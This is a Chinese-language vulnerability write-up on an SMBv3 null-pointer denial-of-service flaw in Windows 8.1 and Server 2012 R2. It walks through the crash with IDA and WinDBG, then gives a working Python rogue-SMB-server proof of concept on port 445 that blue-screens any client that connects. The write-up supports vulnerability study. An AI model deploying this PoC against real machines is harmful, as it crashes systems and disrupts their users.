SMBv3空指针引用dos漏洞复现
0x01 前言
去年年底,当设置一个模拟器来定位SMB协议时,发现了一个如此简单而又非常有效的攻击大型企业的漏洞。TL; DR:一个拒绝服务错误允许BSOD协议向Windows 8.1和Windows Server 2012 R2计算机发送单个数据包。
0x02 测试环境
受影响的系统:
·Windows 8.1(x86)
·Windows Server 2012 R2(x64)
0x03 背景知识
要了解此漏洞的根本原因,需要了解SMB数据包的结构方式。
让我们来看一下SMBv1协议头文件:


正如我们所看到的协议字段以FF字节开始,现在让我们来看看SMBv2

协议字段现在以FE字节开始,那么SMBv3呢?SMB协议的v3版本已经过加密,并将使用SMB2_Transform的特定头部进行加密通信:

SMBv3 始终是加密的,正如可以在官方文档中了解到SMBv3会话的协商从SMBv2会话开始。以下是设置SMBv3会话时涉及到的数据包:

在1到8字节的数据包中,SMB数据头看起来像这样:

我们可以看到,使用的字节序列仍然是0xFE,它是Microsoft官方文档中指示的SMBv2的代码。
从第9字节开始,加密处于连通状态,并且报头中使用的字节序列将为0xFD

正如您在PoC中看到的那样,当第一次会话时立即发送带有0xFD报头的SMB数据包时会发生内核崩溃。现在,让我们深入了解崩溃转储机制,以了解此次崩溃的根本原因。
0x04 根本原因分析
仅在Windows 8.1(x86)上执行来分析根本原因,发送特定数据包会导致内核崩溃,因为它要从内存中读取地址为0x00000030处受保护(空页面保护)的值。

发生崩溃的模块是“ mrxsmb.sys ”,它是Microsoft服务器消息块(SMB)的重定器。崩溃的确切位置是mrxsmb!SmbWksReceiveEvent + 8539,其中从[ecx + 30h]发生偏移到EAX,ECX的值指向0x00000000。
当我们通过IDA分析流程时,它看起来如下所示:
处理数据包并检查是否启用了加密,这与使用加密SMB数据包的SMB
3.0相关

在WinDBG中,它看起来像这样:

从本质上讲,它将检查加密是否被启用,如果在这种情况下,它将遵循“错误”路径并转移到下一个函数:

它将执行一些比较指令,并且第二个最后的指令是检查是否用十六进制值0x34注册ECX。如果ECX低于或等于0x34,在这种情况下发发生错误:

遵循“错误”路径:发生另一条指令,在这种情况下,如果寄存器EDX(攻击者可控制值)高于[ESP + 4C]的值,它将遵循“真实”路径

各种寄存器中的值:

下一条指令再次将ECX的值与0x34进行比较,如果ECX高于0x34,它将遵循“真实”路径

在这种情况下,它将遵循真实路径,因为ECX的值高于0x34。以下指令块将_Microsoft_Windows_SMBClientEnableBits的值0x80000000之间的值进行测试。
在WinDBG中,我们可以看到测试会导致“错误”,随后将遵循“错误”路径。

引导我们接受一个始终为“true”的测试指令

转而使用loc A0F20E05”功能, 将零置于堆栈之后,在这种情况下,它将运行“ loc A0F20E15”:在将ECX + 30h移至EAX的指令处,会发生崩溃,因为ECX为0x00000000,它将尝试读取受保护内存空间0x00000030的值。

这会导致内核崩溃,并强制机器重新启动。
0x05 利用poc
import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print "From:", self.client_address
print "[*]Sending Payload..."
self.request.send(unhexlify(payload))
except Exception:
print "BSoD Triggered on", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
0x06 漏洞复现
1.在kali执行脚本

2.然后在windows2012 r2上访问共享地址:\\10.0.0.217,会立即看到操作系统蓝屏!

SMBv3空指针引用dos漏洞复现的更多相关文章
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
- Linux Kernel空指针引用本地拒绝服务漏洞(CVE-2013-5634)
漏洞版本: Linux kernel 漏洞描述: BUGTRAQ ID: 61995 CVE(CAN) ID: CVE-2013-5634 Linux Kernel是Linux操作系统的内核. 适用于 ...
- Linux Kernel 空指针逆向引用拒绝服务漏洞
漏洞名称: Linux Kernel 空指针逆向引用拒绝服务漏洞 CNNVD编号: CNNVD-201306-449 发布时间: 2013-07-01 更新时间: 2013-07-01 危害等级: ...
- Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现
0x00 漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...
- [漏洞复现]CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招
1.漏洞概述: CVE-2010-2883漏洞原理:“Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行.” 影 ...
- PHP多个版本爆出远程DOS漏洞
近日,php多个版本爆出远程DoS漏洞(官方编号69364),利用该漏洞构造poc发起链接,很容易导致目标主机cpu的100%占用率,绿盟科技威胁响应中心随即启动应急机制, 启动应急响应工作,总结PH ...
- IIS短文件名漏洞复现
IIS短文件名漏洞复现 一.漏洞描述 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的.它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问). ...
- Linux本地内核提权漏洞复现(CVE-2019-13272)
Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
随机推荐
- 2019年猪年颁奖典礼、公司年会、跨年晚会、科技会议、年终答谢会之幕布背景展板PSD模板-第三部分
16套--2019年猪年颁奖典礼.公司年会.跨年晚会.科技会议.年终答谢会之幕布.背景和展板PSD模板,免费颁奖典礼PSD展板背景幕布,下载地址:百度网盘,https://pan.baidu.com/ ...
- 《图解 HTTP 》阅读 —— 第四章
第4章 返回结果的HTTP状态码 1XX 接收的请求正在处理 2XX 请求被处理 200 请求成功 204 请求成功,但是没有返回数据 206 客户端进行了范围请求 3XX 重定向 301 永久性重定 ...
- Python 日志记录与程序流追踪(基础篇)
日志记录(Logging) More than print: 每次用 terminal debug 时都要手动在各种可能出现 bug 的地方 print 相关信息来确认 bug 的位置: 每次完成 d ...
- [shell] sed学习
Q:匹配内容有1没有a的行 echo -e "1a\n2b\n1b\n2a" | sed -n '/1/{/a/d;p}' echo -e "1a\n2b\n1b\n2a ...
- 安装VS的过程
软件工程学习到第三周,我们需要下载一个新的软件,用来进行软件测试.刚开始知道的时候觉得没甚么,不就是下个软件吗!有什么大不了的,分分钟搞定的事.可是想象很美好,现实很骨感.这是一个巨大的工作量呀,不仅 ...
- 学霸系统UI部分功能规格说明书
发布人员:软件工程实践小队 发布内容:学霸系统UI部分功能规格说明书 版本:学霸V1.1版本 ◆Part 1:引言 1.1目的 本功能规格说明书的目的在于明确 ...
- VS2015做单元测试
1.安装测试插件 2.新建测试用例 这里就用课堂练习找水王 作例子 写一个类waterKing.h和waterKing.cpp //idList.h #pragma once #include< ...
- CS小分队第二阶段冲刺站立会议(5月26日)
昨天成果:对扫雷进行了全面的优化,增加了特色皮肤,为其添加了游戏音效,并且做出了换肤的接口. 今日计划:应队友要求对抽号倒计时器进行分离,修改界面结构以便美化. 遇到问题:扫雷的界面美化比较困难,自动 ...
- 未能加载文件或程序集 system.Web.Http.WebHost解决办法。
在csdn中找到一个方法: Update-Package Microsoft.AspNet.WebApi -reinstall 然后就好了. 另外一个方法是缺少哪个dll,就复制一个dll放到bin文 ...
- C#高级编程 (第六版) 学习 第五章:数组
第五章 数组 1,简单数组 声明:int[] myArray; 初始化:myArray = new int[4]; 为数组分配内存. 还可以用如下的方法: int[] myArray = new in ...